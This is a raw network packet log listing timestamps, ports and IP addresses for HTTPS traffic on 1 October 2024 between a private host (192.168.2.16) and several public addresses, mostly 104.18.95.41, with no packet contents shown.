Oct 1, 2024 15:08:13.270430088 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.270507097 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.270543098 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.270600080 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.270670891 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.270721912 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.270731926 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.270746946 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.270787001 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.270798922 CEST	443	49745	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.270803928 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.270817995 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.270836115 CEST	49745	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.273315907 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.273365974 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.273699045 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.273952007 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.273969889 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.326647043 CEST	443	49747	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:13.326709986 CEST	443	49747	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:13.326803923 CEST	49747	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:13.327305079 CEST	49747	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:13.327328920 CEST	443	49747	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:13.327338934 CEST	49747	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:13.327374935 CEST	49747	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:13.420895100 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.420943975 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.421030045 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.421279907 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.421297073 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.651705980 CEST	443	49748	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.652005911 CEST	49748	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.652038097 CEST	443	49748	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.652651072 CEST	443	49748	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.653007984 CEST	49748	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.653142929 CEST	49748	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.653373003 CEST	443	49748	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.696991920 CEST	49748	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.747337103 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.747636080 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.747659922 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.748053074 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.748450994 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.748522997 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.748584986 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.791408062 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.798782110 CEST	443	49748	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.798863888 CEST	443	49748	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.798948050 CEST	49748	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.799494982 CEST	49748	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.799516916 CEST	443	49748	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.877371073 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.877624989 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.877652884 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.877978086 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.878277063 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.878356934 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.878463030 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.878529072 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.878557920 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.892016888 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.892066002 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.892102957 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.892128944 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.892154932 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.892163038 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.892170906 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.892173052 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.892211914 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.892221928 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.892780066 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.892863035 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.892869949 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.896725893 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.896771908 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.896805048 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.896816015 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.896861076 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.982718945 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.982846022 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.982901096 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.982928991 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.982968092 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.983026028 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.983031988 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.983294010 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.983321905 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.983352900 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.983354092 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.983364105 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.983402014 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.983844042 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.983870983 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.983906984 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.983911991 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.983966112 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.983968019 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.983977079 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.984014034 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.984018087 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.984682083 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.984729052 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.984735012 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.984740019 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.984781027 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.984783888 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.984788895 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.984827995 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.984832048 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.985594034 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:13.985652924 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:13.985658884 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.031955957 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.031971931 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.068407059 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.068460941 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.068490982 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.068525076 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.068536997 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.068559885 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.068572044 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.069247007 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.069278002 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.069297075 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.069305897 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.069382906 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.069391012 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.070008993 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.070038080 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.070079088 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.070086956 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.070220947 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.073443890 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.073496103 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.073520899 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.073538065 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.073584080 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.073645115 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.073657036 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.073724031 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.073939085 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.073971033 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.074023008 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.074031115 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.074198961 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.074424028 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.074487925 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.074493885 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.074543953 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.074760914 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.074824095 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.074930906 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.074969053 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.074985981 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.074990988 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.075018883 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.075700998 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.075762033 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.075767040 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.075787067 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.075819016 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.075831890 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.075836897 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.075865030 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.075882912 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.076666117 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.076703072 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.076738119 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.076739073 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.076749086 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.076770067 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.076793909 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.077491045 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.077524900 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.077550888 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.077555895 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.077578068 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.126960039 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.155239105 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.155303955 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.155337095 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.155359030 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.155373096 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.155426025 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.155432940 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.155927896 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.155961037 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.155991077 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.156013012 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.156021118 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.156033993 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.156642914 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.156676054 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.156701088 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.156708956 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.156745911 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.156776905 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.156795025 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.156801939 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.156829119 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.156831980 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.156884909 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.156892061 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.157574892 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.157604933 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.157639027 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.157644987 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.157650948 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.157687902 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.157691002 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.157701969 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.157740116 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.158514023 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.158582926 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.164784908 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.164839029 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.164859056 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.164865017 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.164891005 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.164892912 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.164928913 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.164933920 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.164962053 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.164988041 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.165100098 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.165107012 CEST	443	49749	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.165124893 CEST	49749	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.242552042 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.242636919 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.242667913 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.242724895 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.242737055 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.242783070 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.242898941 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.242981911 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.243035078 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.243046999 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.243511915 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.243546009 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.243593931 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.243602991 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.243623018 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.244133949 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.244184017 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.244191885 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.244240046 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.244242907 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.244251013 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.244291067 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.244748116 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.244807959 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.244887114 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.244946957 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.245084047 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.245146036 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.245769978 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.245811939 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.245831966 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.245837927 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.245848894 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.245907068 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.245919943 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.245970011 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.246767998 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.246798992 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.246826887 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.246834040 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.246843100 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.247548103 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.247628927 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.247637033 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.247694969 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.329677105 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.329716921 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.329747915 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.329751968 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.329767942 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.329804897 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.329957962 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.330010891 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.330018044 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.330041885 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.330087900 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.330094099 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.330123901 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.330163956 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.330172062 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.330178022 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.330209017 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.330274105 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.330337048 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.330368042 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.330399990 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.330414057 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.330421925 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.330440998 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.330465078 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.330470085 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.330527067 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.330596924 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.330631018 CEST	49750	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.330646992 CEST	443	49750	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.333935022 CEST	49751	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.334001064 CEST	443	49751	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.334069014 CEST	49751	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.334448099 CEST	49751	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.334461927 CEST	443	49751	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.410940886 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 1, 2024 15:08:14.590909004 CEST	49752	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.590960979 CEST	443	49752	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.591124058 CEST	49752	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.591434002 CEST	49752	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.591449022 CEST	443	49752	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.746367931 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 1, 2024 15:08:14.789617062 CEST	443	49751	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.791932106 CEST	49751	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.791997910 CEST	443	49751	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.792366028 CEST	443	49751	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.792792082 CEST	49751	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.792861938 CEST	443	49751	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.792934895 CEST	49751	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.839404106 CEST	443	49751	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.921349049 CEST	443	49751	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.921422958 CEST	443	49751	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:14.922518969 CEST	49751	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.922662020 CEST	49751	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:14.922683001 CEST	443	49751	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.045324087 CEST	443	49752	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.046839952 CEST	49752	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.046868086 CEST	443	49752	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.047220945 CEST	443	49752	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:15.047878981 CEST	49752	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:15.047962904 CEST	443	49752	104.18.95.41	192.168.2.16
